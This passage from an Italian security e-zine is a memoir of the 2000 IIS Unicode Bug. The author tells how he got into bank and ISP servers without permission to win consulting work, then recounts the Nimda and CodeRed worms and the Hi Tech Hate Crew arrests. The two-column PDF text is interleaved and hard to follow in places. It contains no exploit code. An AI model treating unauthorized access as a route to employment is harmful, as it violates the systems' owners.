dicendo. A questo punto cominciai a fargli i nomi delle
directory presenti nel volume C e dei file contenuti – In caso di contatto il mio numero personale è
“Io da qui vedo che avete installato Oracle. Ma che ve [omissis]
ne fate di WebSphere se avete già IIS? Nella
directory certificati avete poi in bella vista le chiavi Spero che risolviate subito il problema.
pubbliche e private dei certificati X509 che utilizzate Distinti Saluti
per cifrare le connessioni SSL”. E poi ancora - “Senta [omissis]
ma che razza di cartella è WWW spero da
cancellare!!! presente nella root del volume C?”. Mi Oltre a questa scritta rigorosamente a penna, nel fax
accorsi che avevo assunto un tono forse troppo riportavo l'output di un “dir c:\” e del contenuto
altezzoso. Ero stato infastidito dal fatto che quella d e l l a d i r e c t o r y
persona non avesse creduto alle mie parole. Dopo “\Inetpub\banca121\password”. Passarono
svariati secondi di buio totale (il tizio al telefono era esattamente dieci minuti netti e fui subito contattato
nel frattempo rimasto mestamente in silenzio) gli dal signor Arnesano che si presentò come il
spiegai come risolvere il problema. Anche lui si segnò responsabile delle infrastrutture informatiche di
il link della patch e si congedò con un saluto ancora Banca 121. Lui ringraziandomi cominciò a chiedermi
più freddo di quello che mi era stato rivolto dal tecnico se lavoravo con partita iva (io ancora non avevo
della Banca di Roma. Abbassata la cornetta del nemmeno idea di che cosa fosse esattamente) ed
telefono capì che probabilmente la polizia postale eventualmente di fargli un'offerta per la fornitura di
sarebbe presto andata a cercarmi anche nell'ufficio di servizi di sicurezza che avrebbe rigirato e sottoposto
mio padre.per una valutazione ai suoi superiori. Si mostrò molto
disponibile con me, ma io non seppi approfittare La telefonata a Banca121
adeguatamente di questa sua disponibilità ed alla
fine non riuscì a concludere alcun accordo.Il terzo contatto non avvenne né dal telefono di casa,
né da quello dell'ufficio di mio padre, bensì dal mio Tirando le somme…
cellulare. In realtà fui io questa volta a ricevere la
chiamata dal responsabile delle infrastrutture Strano a dirsi, nessuno delle tre banche che contattai
informatiche di Banca121. In quei giorni infatti al sporse mai denuncia. A volte mi piace credere che il
numero di telefono della sede bancaria registrato nel buon senso da parte delle persone ascoltate al
database del NIC non rispondeva nessuno. Dopo telefono abbia prevalso e che le loro colpe per non
svariati tentativi decisi quindi di inviare il seguente aver aggiornato i sistemi che gestivano fossero
57
Racconti dall’ undergroundLA VERA STORIA
DELL’ UNICODE BUG
probabilmente più grandi delle mie che avevo cercato d'affari come ISP li aveva visti costretti a cercare
di ottenere un lavoro in un modo così abietto. Ma alla fortuna verso altri lidi e svolgere quindi consulenze
fine questo benedetto lavoro arrivò comunque. Non extra presso i pochi clienti che avevano. Questo li
era proprio quello che mi aspettavo ma fu quello che portava a trascurare la sicurezza delle loro
diede il “la” alla mia indipendenza economica infrastrutture informatiche. Dopo tali dichiarazioni
definitiva. Era l'aprile del 2001. A gennaio avevo pensai tra me e me di essere capitato nell'azienda più
svolto la visita militare ed ero risultato idoneo. squattrinata della mia città. Alla fine, dopo una cena a
Attendevo quindi di essere chiamato per la leva nei base di hamburger e patatine (il meglio che un
mesi successivi. Il lavoro dicevo…lo ottenni diciannovenne in quel momento potesse desiderare),
ricalcando la metodologia già adottata sei mesi il responsabile commerciale mi offrì un contratto a
prima. Questa volta però invece di puntare alle progetto di un milione di lire. L'obiettivo era quello di
banche, puntai agli Internet Service Provider della creare una intranet (fino a quel momento ogni client
mia città. Da ottobre erano ancora in pochi quelli che era dotato di un indirizzo IP pubblico raggiungibile
avevano installato la patch contro l'IIS Unicode Bug direttamente da Internet), una zona demilitarizzata
ed i provider locali probabilmente erano gli ultimi della per i server, installare un firewall e configurare i nuovi
classifica. Presi contatti con alcuni di questi servizi DNS e di posta, possibilmente più sicuri dei
intenzionato ad illustrare il problema ma a non fornire precedenti che nel frattempo erano diventati il covo di
alcun accenno sul come risolverlo se non fossi hacker maltesi. Terminai il progetto in un mese
riuscito a concretizzare queste nuove occasioni. Al scarso. Successivamente, a seguito di una nuova
telefono mi risposero sempre le ragazze che esperienza lavorativa romana durata poco più di 12
svolgevano i servizi di segreteria. Spiegai loro alla mesi (dal settembre 2001 all'ottobre 2002),
bella e meglio la questione e dissi di farmi richiamare quell'azienda sarebbe diventata la mia “fucina di
dai responsabili aziendali. Nessuno lo fece. Alla fine, formazione professionale” (in pratica laboratori e
qualche giorno dopo, mi decisi a prendere l'auto e sistemi gratis per svolgere test di ogni tipo) per ben tre
recarmi di persona nel provider più vicino a casa mia. anni. Questo prima di realizzare che i consulenti con
Quando mi presentai davanti alla loro porta e spiegai partita iva guadagnavano molto di più degli
il problema mi fecero parlare con il responsabile apprendisti a tempo determinato, la tipologia di
tecnico, l'ingegner Blanco. Dopo una breve contratto che fino a quel momento loro erano stati
spiegazione mi sembrarono tutti quanti più titubanti di capaci di offrirmi.
prima perciò chiesi loro di darmi un computer. Mi
sedetti in una delle postazioni dell'ufficio e gli Per la cronaca, non ho mai svolto il servizio di leva,
dimostrai quello che potevo fare, mostrandogli come ricevendo il congedo nel tardo 2003. Non chiedetemi
potessi accedere in modo semplice ai loro server. Le come ho fatto però…
persone che avevo di fronte erano giovani come me,
al massimo di tre/otto anni più grandi e si mostrarono I worm e gli arrestientusiasti delle capacità che avevo espresso. In
realtà parlavo con gente che fino a quel momento In termini di diffusione l'Unicode Bug può essere correlava la parola sicurezza alla protezione civile, considerata senza alcun dubbio la vulnerabilità più pertanto i loro complimenti erano un po' come quelli di eclatante nella storia informatica dei web server, un bambino che guarda per la prima volta un gioco di forse quella che addirittura, sfruttata da worm come prestigio, ma ne rimasi ugualmente felice. L'unico un Nimda e CodeRed (che nei tre/quattro anni po' più perplesso e rimasto sulle difensive rispetto agli successivi infettarono centinaia di migliaia di PC) è altri era proprio l'ingegner Blanco. Infondo era lui che stata, in termini di tempo, la più duratura di qualunque avrebbe dovuto svolgere il ruolo di sistemista in altra sino ad oggi mai esistita. Il 24 settembre 2001, azienda, ma mi confessarono che lo scarso giro quasi un anno dopo dalla scoperta della falla, il
58
Racconti dall’ underground
portale di informazione e notizie online “Punto Ma che cosa avevano fatto esattamente di così
Informatico” riportò le dichiarazioni di alcuni esperti eclatante questi ragazzi? Avevano semplicemente
che definirono Nimda come il virus “a più veloce bucato alcune decine di web server con una
diffusione mai apparso su Internet”. Erano passati 11 vulnerabilità ancora molto in voga ai tempi (appunto
mesi e solo poche decine di migliaia di server web l'Unicode Bug), già nota da più di un anno e per giunta
avevano installato la patch del sito Microsoft non scoperta da loro. Tra questi web server ve ne
disponibile sin dall'agosto del 2000. erano alcuni della FAO, del CNR, del Ministero della
Salute. Uno era addirittura della NASA. I giornali
Quando fu chiaro che l'Unicode Bug rappresentava tuonarono per questo scandalo ed il Maurizio
una grossissima minaccia, appunto solo dopo Costanzo Show fece seguito. Tutti si dimenticarono di
l'avvento di famelici worm, cominciarono anche a dire però che quel serverino dell'agenzia spaziale
scattare le prime manette. Alcuni minorenni che americana, mezzo isolato, era stato dimenticato dai
componevano il fantomatico gruppo hacker Hi Tech sistemisti, il che faceva capire quale importanza
Hate Crew dedito principalmente al defacement, ricoprisse realmente per la National Aeronautics and
ovvero alla modifica al fine di scherno della pagina Space Administration. Si trattava in realtà di un server
principale dei siti web di mezzo mondo, si resero di quart'ordine, prossimo alla dismissione. Insomma
protagonisti di alcune azioni incaute, sfruttando le una colossale balla, gonfiata ad arte allo stesso modo
informazioni divulgate pubblicamente da Rain Forest di come nei mesi precedenti si era narrato nei giornali
Puppy il 17 ottobre del 2000. Sono sempre stato italiani di fantomatici hacker sardi che rubavano dati
contrario alla full-disclosure dei dettagli dell'Unicode dai computer delle loro vittime sfruttando programmi
Bug (e vedendo gli effetti prodotti con il senno del poi “professionali” come Netbus o BackOrifice.
continuo ad esserlo tutt'oggi) ma ripensandoci bene
probabilmente se non l'avesse fatto lui, qualcun altro Penso che quello che mi ha differenziato rispetto ai
avrebbe divulgato poco dopo la notizia al suo posto. Il ragazzi dell'Hi Tech Hate Crew è stato probabilmente
grosso evento si era infatti già verificato con quel il rifiutare lo strumento del defacement come mezzo
primo messaggio anonimo nel forum di Packetstorm. per mettermi in luce. E se oggi sono qui a poter
Il resto sarebbe comunque venuto da sé. raccontare di non aver mai ricevuto una visita della
guardia di finanza, è forse perché mi rendevo conto
I ragazzi italiani arrestati dell'Hi Tech Hate Crew che con certe azioni potevo magari danneggiare
divennero quasi immediatamente celebri, ottenendo qualche povero cristo che portava a casa la pagnotta
gran parte della loro fama grazie alle balle sparate dai facendo i l s is temis ta Windows, ment re
media e giungendo addirittura ad essere “lodati” al probabilmente fino a poco tempo prima faceva il
Maurizio Costanzo Show che dedicò alla loro storia programmatore RPG[4] in un'azienda fallita.
più di una puntata. Il tenente colonnello della guardia
di Finanza Umberto Rapetto, l'attuale responsabile Tutto questo accadeva appena un anno e mezzo
del Gruppo Anticrimine Tecnologico, giunse a prima di conoscere quella splendida ragazza che poi
dichiarare che si trattava “di persone con un profilo sarebbe diventata mia moglie.
tecnico avanzato ed assolutamente al di sopra della
norma” pur la giovanissima età, che la loro cattura era
stata propiziata solo grazie alle competenze dei
professionisti che componevano il suo gruppo e che
si stava lavorando a stretto giro per mettere le
profonde conoscenze informatiche della crew a [4] Linguaggio di programmazione nativo della piattaforma IBM
disposizione delle forze dell'ordine.oggi conosciuta come iSeries o System i ed in passato meglio
nota come AS/400.
59
LA VERA STORIA DELL’ UNICODE BUG
ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore
dell'Information Technology, sia quella open source che quella contrapposta del Sclosed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista
non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente
condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da
considerarsi frutto dell'intero staff che compone la redazione.
La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione
viene reso gratuitamente disponibile a tutti gli utenti.
Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di
Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della
rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono
vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono
sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai
tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano
questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci
per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o
fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto,
espandendolo e migliorandolo nel tempo.
Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro
inerente la rivista puoi contattarci all'indirizzo [email protected]. Puoi anche inviarci
consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo
numerosi!
Security System Staff